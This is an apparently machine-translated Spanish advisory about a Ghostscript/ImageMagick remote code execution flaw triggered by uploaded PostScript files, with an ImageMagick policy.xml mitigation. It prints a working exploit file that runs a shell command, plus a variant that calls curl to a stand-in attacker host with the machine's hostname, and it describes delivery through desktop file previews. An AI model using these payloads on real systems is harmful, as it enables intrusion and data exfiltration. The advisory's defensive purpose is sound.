Ejecución remota de código cargando imágenes en su servidor o computadora local en ghostscript / imagick

Brevemente: si tiene imágenes en su sitio y las procesa utilizando la popular biblioteca ImageMagick, al cargar una imagen puede ejecutar un comando de shell con los derechos de un usuario del servidor web (por ejemplo: descargar RAT, miner, fusionar fuentes, acceder a la base de datos, causar una falla, etc.)

Es extraño que la noticia ( original ) sobre los nuevos agujeros en la biblioteca GhostScript y, como resultado, muchas otras bibliotecas que la usan bajo el capó pasaron por la sociedad habrosa. Entonces, ¿qué tenemos?

¿Cómo verificar que su servidor es vulnerable?

Tomamos y subimos el archivo .ps de prueba al servidor en lugar de la imagen. El archivo de ejemplo a continuación no hace mucho daño, solo demora 5 segundos. Si el servidor responde durante más de 5 segundos, entonces tiene un problema: o su servicio es vulnerable o es muuuuuy lento =)

%!PS % This is ghostscript bug 699714, a variant of 699687 (which is itself a variant of 699654). userdict /setpagedevice undef a4 currentpagedevice /HWResolution get 0 (foobar) put { grestore } stopped clear % make sure we have a device with OutputFile (ppmraw) selectdevice mark /OutputFile (%pipe% `sleep 5`) currentdevice putdeviceprops { showpage } stopped pop quit 

Equipo clave: dormir 5

Un comando alternativo podría ser

 mark /OutputFile (%pipe% curl evilserver.su/GHOSTSCRIPT-RCE-HOOK/`hostname`) currentdevice putdeviceprops 

o algo mucho menos inofensivo.

Hay muchos vectores de explotación. Además de descargar al procesador de imágenes, simplemente puede enviar un enlace al archivo .ps a la víctima, y ​​dado que en la mayoría de los sistemas operativos se crea una vista previa al guardarlo en la computadora, esto también causa explotación (probado personalmente en el escritorio de Linux). Al momento de escribir esto, ningún antivirus ha detectado que los archivos .ps de prueba sean peligrosos.

Que hacer

Desafortunadamente, a pesar de la publicación de información sobre la vulnerabilidad y la corrección del error, las actualizaciones de distribución pueden no tener una versión fija.

En los servidores, puede hacer una verificación preliminar del tipo de imagen con una biblioteca de terceros, filtrar a través del archivo de mapa de políticas ImageMagick / policy.xml y no procesar tipos de archivos vulnerables. SELinux también debe cerrar parte de los vectores de ataque, por ejemplo, escribiendo en carpetas no estándar.

UPD: en los comentarios escriben que la vulnerabilidad aún no está arreglada en la biblioteca.

UPD2: corrección para corrección de imagemagick para prohibir el uso de archivos PostScript y PDF de elvenpath : en el archivo /etc/ImageMagick-6/policy.xml o /etc/ImageMagick-7/policy.xml dependiendo de la versión de ImageMagick que necesite escribir:
 <policymap> <policy domain="coder" rights="none" pattern="{EPS,PS2,PS3,PS,PDF,XPS}" /> </policymap> 

Source: https://habr.com/ru/post/es422351/


All Articles